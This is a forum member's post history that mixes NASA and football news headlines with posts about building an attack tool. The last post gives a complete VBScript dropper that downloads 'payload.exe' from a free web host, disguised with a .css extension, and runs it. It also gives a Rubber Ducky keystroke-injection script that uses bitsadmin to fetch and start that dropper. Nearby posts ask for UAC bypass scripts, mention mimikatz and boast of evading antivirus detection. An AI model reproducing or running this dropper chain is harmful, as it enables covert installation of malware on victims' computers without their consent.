Jump to content

Hashirama

Active Members
  • Posts

    8
  • Joined

  • Last visited

Everything posted by Hashirama

  1. NASA Invites Media, Social Media to June Deep Space Rocket Booster Test via NASA https://t.co/J7xDRbqH00

  2. NASA Technology Transfer Roadshow Stops in Texas, New Mexico via NASA https://t.co/7E4Gyd1uwM

  3. NASA Begins Work to Build a Quieter Supersonic Passenger Jet via NASA https://t.co/YRbdQJfS4B

  4. Bayern Munich: Ex-club president Uli Hoeness released from prison after serving half of three-and-a-half-year sent… https://t.co/czbkSX4uDB

  5. NASA Astronaut Scott Kelly, Researchers Available to Discuss One-Year Mission via NASA https://t.co/Sq55BH3Lob

  6. Media Accreditation Open for Space Station Crew News Conference, Interviews via NASA https://t.co/5tbqJJfK1E

  7. NASA Administrator to Make X-Plane Announcement at Reagan National Media Event via NASA https://t.co/hYcZU3MymQ

  8. NASA Partners on Air Quality Study in East Asia via NASA https://t.co/OCeM8ues5q

  9. Champions League Highlight: Juventus rallied from two goals down to draw 2-2 in first leg against Bayern (U.S. onl… https://t.co/czbkSX4uDB

  10. Juventus XI: Buffon; Lichtsteiner, Barzagli, Bonucci, Evra; Cuadrado, Khedira, Marchisio, Pogba; Mandzukic, Dybala… https://t.co/czbkSX4uDB

  11. NASA, UN Announce Final Winner of #whyspacematters Photo Competition via NASA https://t.co/vGG0l8i90j

  12. NASA Astronaut Scott Kelly Talks One-Year Mission in Final In-Space News Conference via NASA https://t.co/uwzJjI4WzM

  13. I tried simulating keystrokes and i didn't work. But the mimikatz is still working, i'm trying to implement it somehow.
  14. Hey FreelanceLAUNCH thanks for the follow!

  15. Are you sure? Because bitsadmin is on win10. Anyway does anyone knows any vb script with privs escalation or uac bypass? Tried google, tried deep web, but found nothing helpful.
  16. Damn, AVs are updated too fast. LoL Anyway, simple google search will get you a lot of vb scripts for downloading a file.
  17. Bayern XI: Neuer; Rafinha, Kimmich, Tasci, Alaba; Vidal; Robben, Muller, Coman, Costa; Lewandowski (ESPN) https://t.co/czbkSX4uDB

  18. NASA Invites Public to Send Artwork to an Asteroid via NASA https://t.co/ACEur8drTd

  19. I scanned vb script on virus total, and didn't get any detections.
  20. I was thinking on powershell, but I couldn't find the info which windows os has it installed by default, so I'm using vb just to be sure it'll work.
  21. Because it's all about the speed. In this case you only need 3 seconds and you are done. VB file is small, which means less download time, and less download time means CMD window will be gone in a flash.
  22. So, this script downloads VB script via cmd and witch downloads payload.exe. To use this script you'll need some prep to do. First, sign up for a free website hosting (like eu.pn). You don't need to create any website, just to use that host for easy payload downloads. Rename VB script from .vbs to .css, also do the same for the payload from .exe to .css. WHY? Because you can't upload other file formats but html, css, js, and image formats and you need a full path link for this to work! And NO, you don't have to have admin rights for this to work! VB script: SaveWebBinary "http://yourfreesubdomain.eu.pn/payload.css", "C:\Users\Public\payload.exe" Function SaveWebBinary(strUrl, strFile) 'As Boolean Const adTypeBinary = 1 Const adSaveCreateOverWrite = 2 Const ForWriting = 2 Dim web, varByteArray, strData, strBuffer, lngCounter, ado On Error Resume Next 'Download the file with any available object Err.Clear Set web = Nothing Set web = CreateObject("WinHttp.WinHttpRequest.5.1") If web Is Nothing Then Set web = CreateObject("WinHttp.WinHttpRequest") If web Is Nothing Then Set web = CreateObject("MSXML2.ServerXMLHTTP") If web Is Nothing Then Set web = CreateObject("Microsoft.XMLHTTP") web.Open "GET", strURL, False web.Send If Err.Number <> 0 Then SaveWebBinary = False Set web = Nothing Exit Function End If If web.Status <> "200" Then SaveWebBinary = False Set web = Nothing Exit Function End If varByteArray = web.ResponseBody Set web = Nothing 'Now save the file with any available method On Error Resume Next Set ado = Nothing Set ado = CreateObject("ADODB.Stream") If ado Is Nothing Then Set fs = CreateObject("Scripting.FileSystemObject") Set ts = fs.OpenTextFile(strFile, ForWriting, True) strData = "" strBuffer = "" For lngCounter = 0 to UBound(varByteArray) ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) Next ts.Close Else ado.Type = adTypeBinary ado.Open ado.Write varByteArray ado.SaveToFile strFile, adSaveCreateOverWrite ado.Close End If SaveWebBinary = True End Function wscript.sleep 5000 CreateObject("WScript.Shell").Run "C:\Users\Public\payload.exe" Ducky script: GUI r DELAY 200 STRING cmd /C bitsadmin /transfer /download /priority foreground http://yourfreesubdomain.eu.pn/vb_script.css C:\Users\Public\dl.vbs && start C:\Users\Public\dl.vbs ENTER Happy hacking!
×
×
  • Create New...